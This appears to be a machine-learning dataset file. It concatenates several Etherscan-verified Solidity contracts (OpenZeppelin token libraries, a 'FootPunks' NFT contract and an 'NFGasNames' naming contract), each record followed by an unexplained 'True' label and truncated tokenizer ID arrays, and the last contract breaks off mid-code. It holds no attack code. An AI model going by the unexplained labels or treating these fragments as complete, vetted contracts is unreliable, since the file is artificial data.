@openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: FootPunks.sol pragma solidity ^0.8.12; contract FootPunks is ERC721Enumerable, ERC2981, Ownable { IToeken public Toeken; string internal _baseTokenURI; uint256 public constant MAX_SUPPLY = 2_000; uint96 public constant ROYALTY_BPS = 1_000; // 10% constructor(string memory baseTokenURI) ERC721("FootPunks", "FOOT") { _baseTokenURI = baseTokenURI; _setDefaultRoyalty(msg.sender, ROYALTY_BPS); } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, ERC2981) returns (bool) { return super.supportsInterface(interfaceId); } function setToekenAddress(address toeken) public onlyOwner { Toeken = IToeken(toeken); } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function mint(address to, uint256 tokenId) external payable onlyOwner { require(totalSupply() < MAX_SUPPLY, "Would exceed max supply"); require(tokenId < MAX_SUPPLY, "Invalid tokenId"); _mint(to, tokenId); } // OVERRIDES function transferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { if (address(Toeken) != address(0)) { Toeken.update(from, to); } super.transferFrom(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override(ERC721, IERC721) { if (address(Toeken) != address(0)) { Toeken.update(from, to); } super.safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override(ERC721, IERC721) { if (address(Toeken) != address(0)) { Toeken.update(from, to); } super.safeTransferFrom(from, to, tokenId, data); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2603, 1008, 1013, 1013, 1013, 5371, 1024, 19706, 1013, 23333, 23941, 2078, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2260, 1025, 8278, 23333, 23941, 2078, 1063, 3853, 10651, 1006, 4769, 2013, 1010, 4769, 2000, 1007, 6327, 1025, 1065, 1013, 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/** Submitted for verification at Etherscan.io on 2021-07-02 / // File: @openzeppelin/contracts/introspection/IERC165.sol // spd-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // spd-License-Identifier: MIT pragma solidity ^0.6.2; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom(address from, address to, uint256 tokenId) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom(address from, address to, uint256 tokenId) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: contracts/NFGasNames.sol // spd-License-Identifier: AGPL-3.0-or-later pragma solidity ^0.6.8; contract NFGasNames { uint256 public test1; bytes32 public test2; mapping(uint256 => string) public names; IERC721 public nfgas; constructor(address a) public { nfgas = IERC721(a); } function setName(uint256 id, string memory name) public { require(nfgas.ownerOf(id) == msg.sender, "Not owner"); uint256 hashValue = uint(keccak256(abi.encodePacked(name))) % 1025; require(hashValue == id, "hashValue incorrect"); names[id] = name; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5718, 1011, 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/** Submitted for verification at Etherscan.io on 2022-03-30 / // SPDX-License-Identifier: MIT // File @openzeppelin/contracts/utils/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address to, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. / function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } 